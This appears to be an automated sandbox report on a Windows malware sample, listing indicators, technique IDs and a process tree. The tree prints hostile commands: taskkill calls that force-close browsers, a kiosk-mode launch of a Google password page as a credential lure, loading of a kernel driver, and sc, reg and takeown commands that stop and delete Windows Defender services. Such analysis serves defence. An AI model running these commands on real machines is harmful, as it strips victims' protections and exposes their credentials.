Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language	28824e67fe.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TempPMSRCBLMBRHFVZZ6QSFMWWMZEMVCTFPZ.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	futors.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rapes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks processor information in registry 2 TTPs 22 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	MSBuild.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe

Delays execution with timeout.exe 2 IoCs

defense_evasion

pid	Process
928	timeout.exe
25544	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe

GoLang User-Agent 1 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	29	Go-http-client/1.1

Kills process with taskkill 5 IoCs

defense_evasion

pid	Process
5452	taskkill.exe
4632	taskkill.exe
5836	taskkill.exe
4540	taskkill.exe
1828	taskkill.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133883919287610550"	chrome.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000_Classes\Local Settings	firefox.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5068	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1068	random.exe
1068	random.exe
4568	rapes.exe
4568	rapes.exe
3084	rapes.exe
3084	rapes.exe
2368	MSBuild.exe
2368	MSBuild.exe
2368	MSBuild.exe
2368	MSBuild.exe
1920	MSBuild.exe
1920	MSBuild.exe
1920	MSBuild.exe
1920	MSBuild.exe
5796	65ebb600c2.exe
5796	65ebb600c2.exe
5796	65ebb600c2.exe
5796	65ebb600c2.exe
5796	65ebb600c2.exe
5796	65ebb600c2.exe
4860	28824e67fe.exe
4860	28824e67fe.exe
4860	28824e67fe.exe
4860	28824e67fe.exe
4388	d93e9cdc1d.exe
4388	d93e9cdc1d.exe
4388	d93e9cdc1d.exe
4388	d93e9cdc1d.exe
5248	wQI4o11.exe
5248	wQI4o11.exe
4056	powershell.exe
4056	powershell.exe
4056	powershell.exe
1992	TempPMSRCBLMBRHFVZZ6QSFMWWMZEMVCTFPZ.EXE
1992	TempPMSRCBLMBRHFVZZ6QSFMWWMZEMVCTFPZ.EXE
5920	5edbebbb11.exe
5920	5edbebbb11.exe
5920	5edbebbb11.exe
5920	5edbebbb11.exe
5920	5edbebbb11.exe
5920	5edbebbb11.exe
1428	wQI4o11.exe
1428	wQI4o11.exe
1400	rapes.exe
1400	rapes.exe
4020	MSBuild.exe
4020	MSBuild.exe
4020	MSBuild.exe
4020	MSBuild.exe
6056	powershell.exe
6056	powershell.exe
6056	powershell.exe
3684	MSBuild.exe
3684	MSBuild.exe
3436	MSBuild.exe
3436	MSBuild.exe
3436	MSBuild.exe
3436	MSBuild.exe
2792	a10c2b3606.exe
2792	a10c2b3606.exe
3684	MSBuild.exe
3684	MSBuild.exe
4208	chrome.exe
4208	chrome.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
660	Process not Found
660	Process not Found

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
5208	UZPt0hR.exe
5208	UZPt0hR.exe
5208	UZPt0hR.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
4208	chrome.exe
4208	chrome.exe
4208	chrome.exe
4208	chrome.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

description	pid	Process
Token: SeDebugPrivilege	5836	taskkill.exe
Token: SeDebugPrivilege	4540	taskkill.exe
Token: SeDebugPrivilege	1828	taskkill.exe
Token: SeDebugPrivilege	5452	taskkill.exe
Token: SeDebugPrivilege	4632	taskkill.exe
Token: SeDebugPrivilege	3736	firefox.exe
Token: SeDebugPrivilege	3736	firefox.exe
Token: SeDebugPrivilege	4056	powershell.exe
Token: SeDebugPrivilege	2456	RegAsm.exe
Token: SeDebugPrivilege	656	RegAsm.exe
Token: SeDebugPrivilege	6056	powershell.exe
Token: SeShutdownPrivilege	4208	chrome.exe
Token: SeCreatePagefilePrivilege	4208	chrome.exe
Token: SeShutdownPrivilege	4208	chrome.exe
Token: SeCreatePagefilePrivilege	4208	chrome.exe
Token: SeShutdownPrivilege	4208	chrome.exe
Token: SeCreatePagefilePrivilege	4208	chrome.exe
Token: SeShutdownPrivilege	4208	chrome.exe
Token: SeCreatePagefilePrivilege	4208	chrome.exe
Token: SeShutdownPrivilege	4208	chrome.exe
Token: SeCreatePagefilePrivilege	4208	chrome.exe
Token: SeShutdownPrivilege	4208	chrome.exe
Token: SeCreatePagefilePrivilege	4208	chrome.exe
Token: SeDebugPrivilege	9952	tasklist.exe
Token: SeDebugPrivilege	10068	tasklist.exe

Suspicious use of FindShellTrayWindow 61 IoCs

pid	Process
1068	random.exe
4860	28824e67fe.exe
4860	28824e67fe.exe
4860	28824e67fe.exe
4860	28824e67fe.exe
4860	28824e67fe.exe
4860	28824e67fe.exe
3736	firefox.exe
3736	firefox.exe
3736	firefox.exe
3736	firefox.exe
3736	firefox.exe
3736	firefox.exe
3736	firefox.exe
4860	28824e67fe.exe
3736	firefox.exe
3736	firefox.exe
3736	firefox.exe
3736	firefox.exe
3736	firefox.exe
3736	firefox.exe
3736	firefox.exe
3736	firefox.exe
3736	firefox.exe
3736	firefox.exe
4860	28824e67fe.exe
3736	firefox.exe
4860	28824e67fe.exe
4860	28824e67fe.exe
2468	3fe1650dab.exe
2468	3fe1650dab.exe
2468	3fe1650dab.exe
4208	chrome.exe
4208	chrome.exe
4208	chrome.exe
4208	chrome.exe
4208	chrome.exe
4208	chrome.exe
4208	chrome.exe
4208	chrome.exe
4208	chrome.exe
4208	chrome.exe
4208	chrome.exe
4208	chrome.exe
4208	chrome.exe
4208	chrome.exe
4208	chrome.exe
4208	chrome.exe
4208	chrome.exe
4208	chrome.exe
4208	chrome.exe
4208	chrome.exe
4208	chrome.exe
4208	chrome.exe
4208	chrome.exe
4208	chrome.exe
4208	chrome.exe
4208	chrome.exe
10604	Constraints.com
10604	Constraints.com
10604	Constraints.com

Suspicious use of SendNotifyMessage 28 IoCs

pid	Process
4860	28824e67fe.exe
4860	28824e67fe.exe
4860	28824e67fe.exe
4860	28824e67fe.exe
4860	28824e67fe.exe
4860	28824e67fe.exe
3736	firefox.exe
3736	firefox.exe
3736	firefox.exe
3736	firefox.exe
4860	28824e67fe.exe
3736	firefox.exe
3736	firefox.exe
3736	firefox.exe
3736	firefox.exe
3736	firefox.exe
3736	firefox.exe
3736	firefox.exe
3736	firefox.exe
4860	28824e67fe.exe
4860	28824e67fe.exe
4860	28824e67fe.exe
2468	3fe1650dab.exe
2468	3fe1650dab.exe
2468	3fe1650dab.exe
10604	Constraints.com
10604	Constraints.com
10604	Constraints.com

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3736	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1068 wrote to memory of 4568	1068	random.exe	88
PID 1068 wrote to memory of 4568	1068	random.exe	88
PID 1068 wrote to memory of 4568	1068	random.exe	88
PID 4568 wrote to memory of 1732	4568	rapes.exe	96
PID 4568 wrote to memory of 1732	4568	rapes.exe	96
PID 4568 wrote to memory of 1808	4568	rapes.exe	97
PID 4568 wrote to memory of 1808	4568	rapes.exe	97
PID 1808 wrote to memory of 2368	1808	VrQSuEQ.exe	98
PID 1808 wrote to memory of 2368	1808	VrQSuEQ.exe	98
PID 1808 wrote to memory of 2368	1808	VrQSuEQ.exe	98
PID 1808 wrote to memory of 2368	1808	VrQSuEQ.exe	98
PID 1808 wrote to memory of 2368	1808	VrQSuEQ.exe	98
PID 1808 wrote to memory of 2368	1808	VrQSuEQ.exe	98
PID 1808 wrote to memory of 2368	1808	VrQSuEQ.exe	98
PID 1808 wrote to memory of 2368	1808	VrQSuEQ.exe	98
PID 1808 wrote to memory of 2368	1808	VrQSuEQ.exe	98
PID 4568 wrote to memory of 1704	4568	rapes.exe	100
PID 4568 wrote to memory of 1704	4568	rapes.exe	100
PID 1704 wrote to memory of 1920	1704	af84e2ee69.exe	101
PID 1704 wrote to memory of 1920	1704	af84e2ee69.exe	101
PID 1704 wrote to memory of 1920	1704	af84e2ee69.exe	101
PID 1704 wrote to memory of 1920	1704	af84e2ee69.exe	101
PID 1704 wrote to memory of 1920	1704	af84e2ee69.exe	101
PID 1704 wrote to memory of 1920	1704	af84e2ee69.exe	101
PID 1704 wrote to memory of 1920	1704	af84e2ee69.exe	101
PID 1704 wrote to memory of 1920	1704	af84e2ee69.exe	101
PID 1704 wrote to memory of 1920	1704	af84e2ee69.exe	101
PID 4568 wrote to memory of 5796	4568	rapes.exe	102
PID 4568 wrote to memory of 5796	4568	rapes.exe	102
PID 4568 wrote to memory of 5796	4568	rapes.exe	102
PID 4568 wrote to memory of 4484	4568	rapes.exe	104
PID 4568 wrote to memory of 4484	4568	rapes.exe	104
PID 4568 wrote to memory of 4860	4568	rapes.exe	107
PID 4568 wrote to memory of 4860	4568	rapes.exe	107
PID 4568 wrote to memory of 4860	4568	rapes.exe	107
PID 4860 wrote to memory of 5836	4860	28824e67fe.exe	108
PID 4860 wrote to memory of 5836	4860	28824e67fe.exe	108
PID 4860 wrote to memory of 5836	4860	28824e67fe.exe	108
PID 4860 wrote to memory of 4540	4860	28824e67fe.exe	112
PID 4860 wrote to memory of 4540	4860	28824e67fe.exe	112
PID 4860 wrote to memory of 4540	4860	28824e67fe.exe	112
PID 4860 wrote to memory of 1828	4860	28824e67fe.exe	114
PID 4860 wrote to memory of 1828	4860	28824e67fe.exe	114
PID 4860 wrote to memory of 1828	4860	28824e67fe.exe	114
PID 4860 wrote to memory of 5452	4860	28824e67fe.exe	116
PID 4860 wrote to memory of 5452	4860	28824e67fe.exe	116
PID 4860 wrote to memory of 5452	4860	28824e67fe.exe	116
PID 4860 wrote to memory of 4632	4860	28824e67fe.exe	118
PID 4860 wrote to memory of 4632	4860	28824e67fe.exe	118
PID 4860 wrote to memory of 4632	4860	28824e67fe.exe	118
PID 4860 wrote to memory of 2492	4860	28824e67fe.exe	120
PID 4860 wrote to memory of 2492	4860	28824e67fe.exe	120
PID 2492 wrote to memory of 3736	2492	firefox.exe	121
PID 2492 wrote to memory of 3736	2492	firefox.exe	121
PID 2492 wrote to memory of 3736	2492	firefox.exe	121
PID 2492 wrote to memory of 3736	2492	firefox.exe	121
PID 2492 wrote to memory of 3736	2492	firefox.exe	121
PID 2492 wrote to memory of 3736	2492	firefox.exe	121
PID 2492 wrote to memory of 3736	2492	firefox.exe	121
PID 2492 wrote to memory of 3736	2492	firefox.exe	121
PID 2492 wrote to memory of 3736	2492	firefox.exe	121
PID 2492 wrote to memory of 3736	2492	firefox.exe	121
PID 2492 wrote to memory of 3736	2492	firefox.exe	121
PID 3736 wrote to memory of 2684	3736	firefox.exe	122

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3400
- C:\Users\Admin\AppData\Local\Temp\random.exe
  "C:\Users\Admin\AppData\Local\Temp\random.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Checks computer location settings
  - Identifies Wine through registry keys
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:1068
- - C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
    "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Downloads MZ/PE file
    - Checks BIOS information in registry
    - Checks computer location settings
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Adds Run key to start application
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4568
  - - C:\Users\Admin\AppData\Local\Temp\10469560101\YMauSAr.exe
      "C:\Users\Admin\AppData\Local\Temp\10469560101\YMauSAr.exe"
      4⤵
      Executes dropped EXE
      PID:1732
  - - C:\Users\Admin\AppData\Local\Temp\10472140101\VrQSuEQ.exe
      "C:\Users\Admin\AppData\Local\Temp\10472140101\VrQSuEQ.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious use of WriteProcessMemory
      PID:1808
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2368
  - - C:\Users\Admin\AppData\Local\Temp\10473170101\af84e2ee69.exe
      "C:\Users\Admin\AppData\Local\Temp\10473170101\af84e2ee69.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious use of WriteProcessMemory
      PID:1704
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1920
  - - C:\Users\Admin\AppData\Local\Temp\10473180101\65ebb600c2.exe
      "C:\Users\Admin\AppData\Local\Temp\10473180101\65ebb600c2.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:5796
  - - C:\Users\Admin\AppData\Local\Temp\10473190101\b3e95edbbe.exe
      "C:\Users\Admin\AppData\Local\Temp\10473190101\b3e95edbbe.exe"
      4⤵
      Checks BIOS information in registry
      Executes dropped EXE
      PID:4484
  - - C:\Users\Admin\AppData\Local\Temp\10473200101\28824e67fe.exe
      "C:\Users\Admin\AppData\Local\Temp\10473200101\28824e67fe.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of WriteProcessMemory
      PID:4860
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM firefox.exe /T
        5⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5836
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM chrome.exe /T
        5⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4540
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM msedge.exe /T
        5⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1828
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM opera.exe /T
        5⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5452
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM brave.exe /T
        5⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4632
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2492
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
        6⤵
        Checks processor information in registry
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:3736
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1996 -prefsLen 27099 -prefMapHandle 2000 -prefMapSize 270279 -ipcHandle 2088 -initialChannelId {d9c1b123-368a-4828-8f55-29c07fe8429b} -parentPid 3736 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3736" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
        7⤵
        
        PID:2684
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2496 -prefsLen 27135 -prefMapHandle 2500 -prefMapSize 270279 -ipcHandle 2508 -initialChannelId {7e043d89-f083-4126-a5bf-a25bee7a0219} -parentPid 3736 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3736" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
        7⤵
        
        PID:3472
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3972 -prefsLen 25164 -prefMapHandle 3976 -prefMapSize 270279 -jsInitHandle 3980 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3988 -initialChannelId {b15b5583-6c7f-4fcf-a465-2756af7eea9a} -parentPid 3736 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3736" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
        7⤵
        Checks processor information in registry
        
        PID:1836
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4128 -prefsLen 27276 -prefMapHandle 4132 -prefMapSize 270279 -ipcHandle 4216 -initialChannelId {5e290c76-6c0a-4d8d-ae86-fded2627f8ed} -parentPid 3736 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3736" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
        7⤵
        
        PID:3144
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2924 -prefsLen 34775 -prefMapHandle 2916 -prefMapSize 270279 -jsInitHandle 2920 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3316 -initialChannelId {033ff637-b114-4fc6-a139-e1e365db277e} -parentPid 3736 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3736" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
        7⤵
        Checks processor information in registry
        
        PID:4960
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 3180 -prefsLen 35012 -prefMapHandle 4972 -prefMapSize 270279 -ipcHandle 4980 -initialChannelId {1a11470a-6df3-4212-a5ad-accbf4374599} -parentPid 3736 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3736" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
        7⤵
        Checks processor information in registry
        
        PID:3916
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4908 -prefsLen 32952 -prefMapHandle 5352 -prefMapSize 270279 -jsInitHandle 5356 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5236 -initialChannelId {52cf8794-cf08-4abf-9ced-e8d85724eedb} -parentPid 3736 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3736" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
        7⤵
        Checks processor information in registry
        
        PID:5752
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5512 -prefsLen 32952 -prefMapHandle 5516 -prefMapSize 270279 -jsInitHandle 5520 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5304 -initialChannelId {0bf5810e-ea1a-4ebf-9723-3f0e4ed470f6} -parentPid 3736 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3736" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
        7⤵
        Checks processor information in registry
        
        PID:5596
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2872 -prefsLen 32952 -prefMapHandle 2876 -prefMapSize 270279 -jsInitHandle 3316 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5748 -initialChannelId {7902a46a-2363-4937-bf9b-a2a11e788afc} -parentPid 3736 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3736" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
        7⤵
        Checks processor information in registry
        
        PID:3776
  - - C:\Users\Admin\AppData\Local\Temp\10473210101\54a4fda18c.exe
      "C:\Users\Admin\AppData\Local\Temp\10473210101\54a4fda18c.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5356
    - - C:\Users\Admin\AppData\Local\Temp\272.exe
        
        "C:\Users\Admin\AppData\Local\Temp\272.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1416
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\F5D9.tmp\F5DA.tmp\F5DB.bat C:\Users\Admin\AppData\Local\Temp\272.exe"
        6⤵
        
        PID:1188
        
        C:\Users\Admin\AppData\Local\Temp\272.exe
        
        "C:\Users\Admin\AppData\Local\Temp\272.exe" go
        7⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4384
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\F731.tmp\F732.tmp\F733.bat C:\Users\Admin\AppData\Local\Temp\272.exe go"
        8⤵
        Drops file in Program Files directory
        
        PID:5716
        
        C:\Windows\system32\sc.exe
        
        sc create ddrver type= kernel binPath= "C:\Users\Admin\AppData\Local\Temp\ssisd.sys"
        9⤵
        Launches sc.exe
        
        PID:5848
        
        C:\Windows\system32\sc.exe
        
        sc start ddrver
        9⤵
        Launches sc.exe
        
        PID:3508
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        9⤵
        Delays execution with timeout.exe
        
        PID:928
        
        C:\Windows\system32\sc.exe
        
        sc stop ddrver
        9⤵
        Launches sc.exe
        
        PID:3928
        
        C:\Windows\system32\sc.exe
        
        sc start ddrver
        9⤵
        Launches sc.exe
        
        PID:4992
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y
        9⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:2372
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t
        9⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:4184
        
        C:\Windows\system32\sc.exe
        
        sc stop "WinDefend"
        9⤵
        Launches sc.exe
        
        PID:1972
        
        C:\Windows\system32\sc.exe
        
        sc delete "WinDefend"
        9⤵
        Launches sc.exe
        
        PID:5180
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WinDefend" /f
        9⤵
        
        PID:6136
        
        C:\Windows\system32\sc.exe
        
        sc stop "MDCoreSvc"
        9⤵
        Launches sc.exe
        
        PID:1412
        
        C:\Windows\system32\sc.exe
        
        sc delete "MDCoreSvc"
        9⤵
        Launches sc.exe
        
        PID:4412
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MDCoreSvc" /f
        9⤵
        
        PID:5384
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdNisSvc"
        9⤵
        Launches sc.exe
        
        PID:624
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdNisSvc"
        9⤵
        Launches sc.exe
        
        PID:1188
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdNisSvc" /f
        9⤵
        
        PID:1556
        
        C:\Windows\system32\sc.exe
        
        sc stop "Sense"
        9⤵
        Launches sc.exe
        
        PID:3940
        
        C:\Windows\system32\sc.exe
        
        sc delete "Sense"
        9⤵
        Launches sc.exe
        
        PID:532
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\Sense" /f
        9⤵
        
        PID:5836
        
        C:\Windows\system32\sc.exe
        
        sc stop "wscsvc"
        9⤵
        Launches sc.exe
        
        PID:5356
        
        C:\Windows\system32\sc.exe
        
